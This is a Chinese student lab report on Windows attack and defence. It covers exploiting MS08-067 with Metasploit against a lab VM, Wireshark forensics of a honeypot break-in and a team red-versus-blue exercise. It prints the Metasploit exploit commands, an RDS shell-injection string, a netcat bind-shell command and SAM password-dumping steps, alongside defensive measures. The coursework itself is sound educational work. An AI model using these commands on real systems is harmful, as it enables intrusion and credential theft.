# 20251901 2024-2025-2 《网络攻防实践》实验六

目录

实践六 Windows操作系统安全攻防

实验要求:
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

一、实验任务

  • 本次实验分为三个核心任务,具体如下:
  1. 动手实践Metasploit Windows Attacker:
    使用Metasploit软件进行Windows远程渗透统计实验,通过攻击机(Kali)对靶机(Win2kServer)上的MS08-067漏洞进行远程渗透攻击,最终获取目标主机的访问权。
  2. 取证分析实践:解码一次成功的NT系统破解攻击:
    针对来自212.116.251.162的攻击者攻陷蜜罐主机172.16.1.106(主机名lab.wiretrip.net)的事件,使用Wireshark分析攻击日志文件,完成以下分析:
    ① 攻击者使用的破解工具
    ② 攻击者利用该工具进入并控制系统的方法
    ③ 攻击者获得系统访问权限后的操作
    ④ 针对此类攻击的防御方法
    ⑤ 判断攻击者是否警觉目标为蜜罐主机及原因
  3. 对抗实践:Windows系统远程渗透攻击和分析:
    分为攻方和守方两个角色,完成攻击与防守的对抗:
    攻方:使用Metasploit选择合适漏洞(沿用MS08-067漏洞),配置相关参数发起攻击,获取靶机控制权,并记录攻击方信息、使用漏洞、相关IP地址等关键信息。
    守方:使用Wireshark监听网络数据包,分析攻击全过程,提取攻击相关信息,还原攻击逻辑。

二、实验材料或资源

  • Kali虚拟机
  • Win2kServer虚拟机
  • Wireshark抓包工具
  • Metasploit
  • snort-0204@0117.log(老师提供的攻击日志文件)
  • 实验所需的其他网络攻防工具

三、知识点梳理

  • 1. Metasploit Framework(MSF)
    一款开源的渗透测试框架,集成了漏洞利用模块、载荷(Payload)、辅助工具等,可快速实现漏洞扫描、渗透攻击、权限提升等操作,是网络攻防中最常用的工具之一。核心组成包括:漏洞利用模块(Exploit)、载荷(Payload,攻击成功后在靶机上执行的代码)、编码器(避免载荷被杀毒软件检测)等。

  • 2. MS08-067漏洞
    微软Windows系统的一个严重远程代码执行漏洞,影响Windows 2000、Windows XP等多个系统版本。该漏洞存在于SMB协议(服务器消息块协议,用于文件共享、打印机共享等)的NetAPI32.dll组件中,攻击者可通过发送恶意构造的SMB请求,触发漏洞并执行任意代码,最终获取靶机控制权。
    SMB协议是Windows系统的核心协议之一,默认使用445端口,MS08-067漏洞正是利用SMB协议的漏洞发起攻击,因此攻击流量主要集中在445端口。

  • 3. 反向TCP Shell
    本次实验使用的载荷类型,原理是让靶机主动连接攻击机的指定端口,建立TCP会话,攻击机通过该会话向靶机发送命令,实现远程控制。相比正向连接,反向连接更易绕过防火墙(防火墙通常允许内部主机主动向外连接)。

  • 4. 网络取证分析
    通过捕获、分析网络数据包,还原攻击过程、提取攻击证据的技术,核心工具为Wireshark。Wireshark可捕获网络中的所有数据包,通过筛选规则定位目标流量,分析数据包内容、协议交互过程,还原攻击者的操作轨迹。

  • 5. Unicode漏洞
    攻击者通过Unicode编码(如%C0%AF)绕过系统的路径过滤,访问系统敏感文件(如boot.ini,Windows系统的启动配置文件),是NT系统中常见的攻击手段之一。

  • 6. msadcs.dll漏洞(RDS漏洞)
    微软数据访问组件中的一个漏洞,攻击者可通过访问/msadc/msadcs.dll路径,构造恶意SQL语句,执行系统命令,获取系统访问权限。该漏洞常被Metasploit的msadc渗透模块利用。

  • 7. SAM文件
    Windows系统的安全账号管理文件,存储着用户的账号和密码哈希值,攻击者获取SAM文件后,可通过破解工具还原用户密码,进一步提升权限。

  • 8. 后门程序(nc.exe)
    netcat工具的Windows版本,被称为“网络瑞士军刀”,可实现端口监听、远程连接、文件传输等功能,攻击者植入nc.exe后,可随时重新连接靶机,长期控制目标系统。

四、实验思路

  1. 动手实践Metasploit Windows Attacker
    本任务的核心目标是“利用MS08-067漏洞,通过Metasploit获取靶机访问权”,可按照“准备工作→工具操作→漏洞利用→验证结果”的步骤开展,思路如下:
    首先必须确认两台机器的IP地址,并用ping命令测试连通性这一步的目的是确保攻击机与靶机之间网络通畅。在Kali中输入msfconsole命令,启动Metasploit框架,输入search ms08_067命令,查找该漏洞对应的利用模块。进入漏洞模块后,用show options查看攻击所需的参数(如靶机IP、攻击机IP、载荷等),用show payloads查看该漏洞支持的载荷类型。然后输入exploit命令,发起漏洞利用。攻击成功后,输入ipconfig/all命令,查看靶机的IP信息,确认已获取靶机的命令行访问权
  2. 取证分析实践
    本任务的核心目标是“解码NT系统破解攻击的完整过程”,可按照“加载日志→筛选流量→分析异常→提取证据→总结防御”的步骤开展,思路如下:
    用Wireshark打开老师提供的snort-0204@0117.log文件定位攻击双方——已知攻击机IP(213.116.251.162)和靶机IP(172.16.1.106),筛选数据包,查看异常内容,然后还原过程,分析攻击步骤并追踪操作。
  3. 对抗实践设计思路
    攻方的核心是“利用已知漏洞,获取靶机控制权”,沿用前一个任务的MS08-067漏洞,步骤如下:1.启动Metasploit框架(msfconsole),加载MS08-067漏洞利用模块; 2. 设置反向TCP载荷,明确靶机IP(和攻击机IP;3. 发起攻击(exploit),攻击成功后,执行简单操作(如ipconfig、创建文件夹),留下操作痕迹;4.记录关键信息。
    守方的核心是“通过Wireshark监听,还原攻击过程”,步骤如下:启动Wireshark,开始监听网络流量,当攻方发起攻击后,使用筛选规则(ip.addr == 攻击机IP && ip.addr == 靶机IP),定位攻击流量;分析流量特征;追踪TCP数据流;总结攻击信息。

五、实验详细过程

5.1动手实践Metasploit Windows Attacker

(1)准备工作

  • 首先必须确认两台机器的IP地址,并用ping命令测试连通性。这一步的目的是确保攻击机与靶机之间网络通畅,否则后续攻击指令无法传递(根据“网络通信的基本原理”,只有互通的设备才能进行数据交互)。
    image
    image
    image
    image

(2)工具启动

  • 打开Metasploit——在Kali中输入msfconsole命令,启动Metasploit框架。之所以使用MSF,是因为它集成了MS08-067漏洞的利用模块,无需手动编写攻击代码。
    image
    image

(3)漏洞定位:查找MS08-067模块

  • 查找MS08-067漏洞模块:输入search ms08_067,查看漏洞详细信息:
    image
  • 进入漏洞模块:输入use 0(或use windows/smb/ms08_067_netapi),加载该漏洞的利用模块
    image
    image
    image

(4)模块配置:设置攻击参数

  • 输入show options,查看当前模块需要配置的参数。该命令会列出参数名称、是否必填、当前值等信息,例如RHOST(靶机IP)、LHOST(攻击机IP)等,提醒我们需要配置哪些参数才能发起攻击。我们使用此命令查看攻击该漏洞需要配置的参数
    image
  • 输入show payloads,查看当前漏洞模块支持的所有载荷。载荷是攻击成功后在靶机上执行的代码,不同载荷的功能不同(如反向连接、正向连接、创建用户等),本次选择反向TCP载荷,更易绕过防火墙。
    image
  • 选择第四个载荷进行攻击:
    输入命令set payload generic/shell_reverse_tcp设置载荷:设置攻击使用的载荷为反向TCP Shell。该载荷的作用是让靶机主动连接攻击机的指定端口,建立TCP会话,攻击机通过该会话发送命令,实现远程控制,适合防火墙环境下的攻击。
  • 输入命令set RHOST 192.168.188.4设置靶机、输入命令set LHOST 192.168.188.10设置攻击机。RHOST是“Remote Host”的缩写,即靶机的IP;LHOST是“Local Host”的缩写,即攻击机的IP。
    image

(5)发起攻击:执行exploit命令

  • 输入exploit,执行攻击。exploit:发起漏洞利用攻击的命令。执行该命令后,MSF会自动根据配置的参数,发送恶意SMB请求,触发MS08-067漏洞,执行设置的载荷,若攻击成功,会进入靶机的命令行界面。
    image
  • 成功利用漏洞进入靶机

(6)验证结果:查看靶机信息

  • 攻击成功后,输入ipconfig/all,查看靶机的IP信息,确认获取靶机访问权
    image

实验小结
本任务成功利用Metasploit框架,针对Win2kServer靶机的MS08-067漏洞发起远程渗透攻击,最终获取了靶机的访问权。实验过程中,网络连通性测试是前提,参数配置的准确性是攻击成功的关键(尤其是RHOST和LHOST的设置)。通过本任务,掌握了Metasploit的基本使用方法,理解了MS08-067漏洞的利用原理和反向TCP Shell的工作机制,明确了渗透攻击的基本流程——准备环境→定位漏洞→配置参数→发起攻击→验证结果。

5.2取证分析实践:解码一次成功的NT系统破解攻击

(1)攻击者使用了什么破解工具进行攻击

  • 下载学习通中的snort-0204@0117.log文件,并将之导入kali中
    image
  • 打开Wireshark,加载snort-0204@0117.log文件(将文件拖入wireshark中),该文件记录了攻击的全部网络数据包。
  • 在Wireshark的筛选栏中输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106,筛选出攻击机(213.116.251.162)与靶机(172.16.1.106)之间的所有数据包
    image
  • 分析异常数据包:观察筛选后的数据包,发现第104、117数据包中存在%C0%AF(Unicode编码),推测攻击者利用Unicode漏洞访问敏感文件
    image
    image
    image
  • 识别攻击漏洞:查看第140数据包,info字段显示msadcs.dll,推测攻击者在访问该文件,结合知识点,判断利用了RDS漏洞
    image
  • 第149数据包同样包含异常,右键选择“Follow→HTTP Stream”,分析数据流内容:
    image
    image
    发现恶意SQL语句:“select from customers where city='|shell("cmd /c echo werd >> c:\fun")|driver={Microsoft Access driver (*.mdb)};dbp=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb;”和特征字符串:“!ADM!ROX!YOUR!WORLD!”,此为msadcs.dll中的rds漏洞,推断攻击工具为Metasploit的msadc.pl/msadc2.pl;

(2)攻击者如何使用这个破解工具进入并控制了系统

  • 输入筛选规则ip.addr == 213.116.251.162 && ftp,查看攻击者通过FTP下载的文件
    image
    可以查询到有下载三个文件:nc.exe,pdump.exe,samdump.dll。其中pdump.exe和samdump.dll是配合使用破解口令的,使用samdump.dll拿到口令后再用pdump.exe进行破解,其中SAM文件是通过安全标识进行安全账号管理文件。nc.exe则是一个远程入侵的后门程序,便于下次攻击。
  • 对 tcp.stream eq 106 的 TCP 数据流进行跟踪分析
    image
    从数据流中可发现,攻击者通过构造的 ftpcom 脚本,连接远程 FTP 服务器 www.nether.net,使用用户名 johna2k、密码 haxedj00 完成登录认证,成功从服务器下载了:nc.exe(netcat 工具)、pdump.exe 与 samdump.dll(Windows 系统口令提取工具)三个恶意文件,为后续的权限提升、口令窃取操作提供了工具支撑。流量分析显示,直至数据包编号 1106,攻击者完成 FTP 登录并成功完成所有文件的下载。

(3)攻击者获得系统访问权限后做了什么

  • 查看1233包:
    image
    分析可得出攻击者执行了c nc -l -p 6969 -e cmd1.exe命令,连接了6969端口
  • 根据攻击者执行的nc命令(nc -l -p 6969 -e cmd1.exe),输入筛选规则tcp.port==6969,追踪TCP数据流,查看攻击者的操作
    image
    image
    可以得出,攻击机进入靶机后查看了一些系统文件,然后创建会话写入文件yay.txt。
    接下来是要创建了用户组等提升攻击机的访问权限,然后利用磁盘修复工具包中的rdisk工具创建SAM文件副本,然后尝试删除和拷贝SAM文件中的数据,即删除和拷贝har.txt文件,如下图所示:
    image
    image
    image

(4)防止此类攻击的方法

  • 漏洞修复:及时更新 Windows 系统补丁,修补 MS08-067、RDS(msadcs.dll)、Unicode 等相关漏洞,从根源上杜绝攻击入口;
  • 端口与服务管控:关闭不必要的端口(如 445、6969 端口)和服务(如 FTP、不必要的 SMB 服务),限制恶意连接;
  • 工具与权限管理:禁止不明来源的可执行文件(如 nc.exe、pdump.exe)运行,加强 SAM 文件保护,设置复杂密码,避免弱密码;
  • 网络监控:使用 Wireshark 等工具实时监听网络流量,及时发现异常数据包(如包含 % C0% AF 编码、msadcs.dll 访问痕迹的数据包),及时阻断攻击;
  • 安全防护:安装防火墙、杀毒软件,开启实时防护,拦截恶意请求和后门程序,定期扫描系统漏洞和恶意文件。

(5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

  • 攻击者发现了此目标为一台蜜罐主机,因为在TCP流中可以发现发现相关信息:
    image
    image

回答问题总结:

  1. 攻击者使用的破解工具
    攻击者使用的是 Metasploit Framework 的 msadc.pl/msadc2.pl 渗透攻击工具,该工具针对 msadcs.dll(RDS 漏洞)发起攻击,是 NT 系统破解中常用的渗透工具。
  2. 攻击者利用该工具进入并控制系统的方法
    攻击者先通过 Unicode 编码(% C0% AF)绕过系统路径过滤,访问靶机敏感文件(如 boot.ini),探测系统环境;
    利用 msadc.pl/msadc2.pl 工具,访问靶机的 /msadc/msadcs.dll 路径,构造恶意 SQL 语句(如select from customers where city='|shell("cmd /c echo werd >> c:\fun")|driver={Microsoft Access driver (*.mdb)};dbp=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb),触发 RDS 漏洞,执行系统命令;
    通过 FTP 协议下载 nc.exe(后门程序)、pdump.exe 和 samdump.dll(密码破解工具),利用 pdump.exe 和 samdump.dll 破解靶机 SAM 文件(存储用户账号密码哈希值),获取系统账号密码;
    执行nc -l -p 6969 -e cmd1.exe命令,监听 6969 端口,将端口连接与 cmd 命令行绑定,建立远程控制会话,实现对靶机的长期控制。
  3. 攻击者获得系统访问权限后做的操作
    查看靶机系统文件,了解系统配置和敏感信息;
    创建会话文件 yay.txt,记录控制会话信息;
    新建用户组,提升自身访问权限,巩固控制权;
    利用磁盘修复工具 rdisk,创建 SAM 文件副本,拷贝并删除 SAM 相关数据(如 har.txt 文件),提取用户密码信息;
    植入 nc.exe 后门程序,监听指定端口,便于后续再次连接控制靶机,长期潜伏。
  4. 防止此类攻击的方法
    漏洞修复:及时更新 Windows 系统补丁,修补 MS08-067、RDS(msadcs.dll)、Unicode 等相关漏洞,从根源上杜绝攻击入口;
    端口与服务管控:关闭不必要的端口(如 445、6969 端口)和服务(如 FTP、不必要的 SMB 服务),限制恶意连接;
    工具与权限管理:禁止不明来源的可执行文件(如 nc.exe、pdump.exe)运行,加强 SAM 文件保护,设置复杂密码,避免弱密码;
    网络监控:使用 Wireshark 等工具实时监听网络流量,及时发现异常数据包(如包含 % C0% AF 编码、msadcs.dll 访问痕迹的数据包),及时阻断攻击;
    安全防护:安装防火墙、杀毒软件,开启实时防护,拦截恶意请求和后门程序,定期扫描系统漏洞和恶意文件。
  5. 攻击者是否警觉目标为蜜罐主机及原因
    攻击者发现了此目标为一台蜜罐主机,因为在TCP流中可以发现发现相关信息(如上述具体流程中)。

实验小结
本任务通过Wireshark分析攻击日志,成功解码了NT系统破解攻击的完整过程,明确了攻击者使用的工具、攻击方法、后续操作,以及防御措施。实验过程中,Wireshark的筛选功能和数据流追踪功能是核心,通过筛选规则定位目标流量,通过追踪数据流提取攻击证据,逐步还原攻击过程。通过本任务,掌握了网络取证分析的基本方法,理解了Unicode漏洞、RDS漏洞的攻击原理,认识到后门程序、密码破解工具在攻击中的作用。同时也发现,攻击者的攻击过程具有明显的逻辑性——先利用漏洞获取权限,再下载工具巩固控制权,最后提取敏感信息,这为后续的防御工作提供了明确的方向。

5.3团队对抗实践:windows系统远程渗透攻击和分析

  • 攻方:Kali 虚拟机(我),IP 地址 192.168.188.10,使用 MS08-067 漏洞发起攻击;开启 Wireshark 全流量监听。攻方复现渗透攻击流程,通过 Metasploit 加载 MS08-067 漏洞模块,配置靶机 IP 192.168.188.4、攻击机监听IP 192.168.188.10,选择反向 TCP Shell 载荷,执行 exploit 成功获取靶机控制权,在靶机中创建文件夹,完成攻击动作。
  • 守方:Win2Kserver 虚拟机(其他同学),IP 地址 192.168.188.4,作为靶机。
  • 首先在kali中打开Wireshark进行监听
  • 在kali中按照上述思路输入如下命令:
  • msfconsole
  • 沿用 MS08-067 漏洞利用模块,完成攻击参数配置:use windows/smb/ms08_067_netapi
  • 设置反向 TCP Shell 载荷:set payload windows/shell_reverse_tcp
  • 设置靶机 IP:set RHOSTS 192.168.188.4
  • 设置攻击机 IP:set LHOST 192.168.188.10
  • 发起攻击:exploit
    image
    image
    image
  • 然后查看靶机IP:ipconfig
  • 在靶机中新建文件夹:md 20251901
    image
    image
  • 然后我们在靶机中对应路径下可以找到新建立的文件夹。
    image
  • 在Wireshark中,通过筛选规则 ip.addr == 192.168.188.4 and ip.addr == 192.168.188.10,定位攻击机与靶机的完整会话,核心攻击流量集中在 TCP 445 端口(SMB 协议)。
    image
    TCP 连接建立阶段:捕获到攻击机向靶机 445 端口发起的 TCP 三次握手(SYN、SYN-ACK、ACK),完成 SMB 协议的传输层连接建立。SMB 漏洞利用阶段:捕获到 SMB 协议的协议协商、会话建立、树连接的完整交互过程,攻方通过 SMB 管道访问靶机 BROWSER 服务,随后发送畸形的 SMB NetAPI 请求,触发 MS08-067 缓冲区溢出漏洞。
  • TCP 445端口:SMB协议的默认端口,MS08-067漏洞正是利用SMB协议的漏洞发起攻击,因此攻击流量主要集中在该端口,守方可重点关注该端口的异常数据包(如恶意请求、异常响应)。
  • TCP 4444端口:反向TCP Shell的默认端口,靶机攻击成功后,会向攻击机的4444端口发起回连,建立TCP会话,这是反向载荷触发的核心特征,守方可通过该端口的数据包,确认攻击已成功。
  • 捕获到靶机向攻击机的 4444 端口发起的 TCP 回连,这是反向载荷触发的核心特征;后续数据包中包含 ipconfig、mkdir 等命令的明文交互内容,完整还原了攻方的后续操作。
    image

实验小结
本任务成功完成了Windows系统远程渗透攻击与防守的对抗实践,攻方利用MS08-067漏洞获取了靶机控制权,守方通过Wireshark监听,成功还原了攻击全过程。实验过程中,攻方的核心是准确配置攻击参数,确保攻击成功并留下操作痕迹;守方的核心是熟练使用Wireshark的筛选和数据流追踪功能,识别攻击特征,提取攻击证据。

六、实验过程中遇到的问题及解决

- 1.kali虚拟机 ping Win2kServer虚拟机时连接不上

  • 报错:
    image
    使用iptables -F清空规则仍没有效果:
    image
  • 问题解决:
    后来发现Ping不通的原因是,这两个虚拟机不在一个网段。一个在VMent1,一个在VMent8于是将两个虚拟机的网络适配器都设置为VMent8模式:
    image
    从而就能ping通了:
    image
    这里要注意,因为修改了Win2kServer虚拟机的网络适配器,所以其IP地址已经改变了。后续在ping的时候要重新查看一下Win2kServer虚拟机的IP地址。

七、学习收获及感想

  • 通过本次网络攻防实践,我不仅掌握了网络攻防的基本技能和相关知识点,更深刻体会到了网络攻防的魅力和严谨性,也收获了很多宝贵的经验和感悟。
  • 首先,通过本次实践,我收获颇丰,不仅掌握了Metasploit、Wireshark等核心工具的使用方法,理解了MS08-067漏洞、Unicode漏洞、RDS漏洞的攻击原理,还明确了反向TCP Shell、后门程序、密码破解工具在攻击中的作用,以及网络取证分析的基本思路和防御方法。
  • 其次,我明白了理论与实践相结合是掌握知识的关键。在实验之前,我对Metasploit、Wireshark等工具,以及各类漏洞的原理只有初步的了解,通过亲手操作,将理论知识应用到实践中,不仅加深了对知识点的理解,还掌握了工具的使用方法,明白了每一个命令、每一个操作背后的原理。例如,在使用Metasploit配置载荷时,通过实践,我才真正理解了反向TCP Shell的工作机制,以及为什么它能绕过防火墙。
  • 通过本次实践,我的动手能力和解决问题的能力也有了很大提高。在实验的过程中,会遇到各种各样的问题,通过查阅资料、请教老师同学、反复尝试,我逐渐学会了如何分析问题、解决问题。例如,在取证分析时,我无法确定攻击者使用的工具,通过查阅相关资料,了解到msadcs.dll漏洞的攻击特征,结合数据包中的特征字符串,最终确定了攻击工具。这让我明白,在网络攻防领域,遇到问题是常态,关键是要具备解决问题的能力,不断学习、不断积累,才能提升自身的水平。
posted @ 2026-04-26 18:26  jgfx  阅读(8)  评论(0)    收藏  举报